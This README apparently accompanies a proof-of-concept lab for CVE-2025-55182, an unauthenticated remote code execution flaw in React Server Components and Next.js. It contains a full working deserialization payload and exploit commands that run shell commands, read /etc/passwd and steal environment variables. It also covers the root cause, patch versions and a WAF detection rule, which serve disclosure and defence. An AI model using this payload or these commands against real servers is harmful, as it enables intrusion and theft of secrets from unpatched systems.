CVE-2025-55182 (React2Shell) PoC Environment

Warning: This project is intended for security research and educational purposes only. Using it on someone else's system without permission is illegal.

Vulnerability Overview

Item	Content
CVE ID	CVE-2025-55182
Alias	React2Shell
CVSS Score	10.0 (Critical - Maximum Severity)
Vulnerability Type	Unauthenticated Remote Code Execution (RCE)
Discovered by	Lachlan Davidson
Disclosure Date	December 3, 2025

Affected Versions

React Packages

react-server-dom-webpack: 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-parcel: 19.0, 19.1.0, 19.1.1, 19.2.0
react-server-dom-turbopack: 19.0, 19.1.0, 19.1.1, 19.2.0

Next.js

15.0.4, 15.1.8, 15.2.5, 15.3.5, 15.4.7, 15.5.6, 16.0.6

Project Structure

CVE-2025-55182/
├── README.md                    # This file
├── vulnerable-server/           # Vulnerable Next.js server
│   ├── package.json
│   ├── next.config.js
│   ├── tsconfig.json
│   └── app/
│       ├── layout.tsx
│       ├── page.tsx
│       └── actions.ts           # Server Action
├── exploit/                     # Attack PoC
│   ├── package.json
│   ├── poc.js                   # RCE attack script
│   └── check-vulnerability.js   # Vulnerability check script
└── React2Shell-CVE-2025-55182-original-poc/  # Original PoC reference

Quick Start

1. Set Up and Run the Vulnerable Server

# Install dependencies
cd vulnerable-server
npm install

# Run server in development mode (port 3000)
npm run dev

The server will be running at http://localhost:3000.

2. Run the Attack PoC

In a new terminal:

# Install dependencies
cd exploit
npm install

# Check vulnerability
npm run check

# Run PoC (test mode)
npm run exploit

Attack PoC Usage

Basic Test (console.log)

node poc.js -m test

Launch Calculator (Standard RCE PoC)

# macOS
node poc.js -m calc

# Linux
node poc.js -m calc -c linux

# Windows
node poc.js -m calc -c windows

Execute System Commands (RCE)

# Execute id command
node poc.js -t http://localhost:3000 -m rce -c "id"

# Read file
node poc.js -t http://localhost:3000 -m rce -c "cat /etc/passwd"

# System information
node poc.js -t http://localhost:3000 -m rce -c "uname -a"

Env Variable Theft

node poc.js -t http://localhost:3000 -m env

Custom Code Execution

node poc.js -m custom -c "require('fs').readFileSync('/etc/passwd').toString()"

Technical Analysis

Root Cause

Occurs when deserializing client-sent data in the Flight protocol of React Server Components.

The requireModule function trusts client-sent property names without validation
→ No hasOwnProperty check when executing moduleExports[metadata[NAME]]
→ Prototype chain manipulation possible (Server-Side Prototype Pollution)
→ Acquire Function constructor → RCE

Attack Chain

Trigger $@x deserialization - Obtain Chunk object reference
Exploit Promise chaining - Inject a thenable object with .then method
Re-enter parser with fake Chunk object - Set status: resolved_model
Build gadget chain - Use _response, _formData, etc.
Acquire Function constructor - $1:constructor:constructor
Arbitrary code execution - Execute new Function(maliciousCode)

Payload Structure

{
    '0': '$1',
    '1': {
        'status': 'resolved_model',
        'reason': 0,
        '_response': '$4',
        'value': '{"then":"$3:map","0":{"then":"$B3"},"length":1}',
        'then': '$2:then'
    },
    '2': '$@3',
    '3': [],
    '4': {
        '_prefix': 'process.mainModule.require("child_process").execSync("id")//',
        '_formData': {
            'get': '$3:constructor:constructor'
        },
        '_chunks': '$2:_response:_chunks'
    }
}

Patch Methods

Upgrade Next.js

# For 15.0.x users
npm install [email protected]

# For 15.1.x users
npm install [email protected]

# For 15.2.x users
npm install [email protected]

Upgrade React Packages

npm install [email protected]
npm install [email protected]
npm install [email protected]

Detection Methods

HTTP Request Characteristics

POST request
Next-Action header present
multipart/form-data format
Patterns such as $@, resolved_model, constructor in the body

Example WAF Rules

# Detect suspicious Flight payload
SecRule REQUEST_HEADERS:Next-Action "@rx ." \
    "id:1001,phase:2,deny,status:403,\
    chain"
SecRule REQUEST_BODY "@rx constructor.*constructor" \
    "t:lowercase"

References

License

This project is provided for educational and research purposes only. Use for malicious purposes is prohibited.

Note: If you discover this vulnerability in a production environment, patch it immediately. If an attack is confirmed, report it to the security team and conduct a breach investigation.

CVE-2025-55182

Most Popular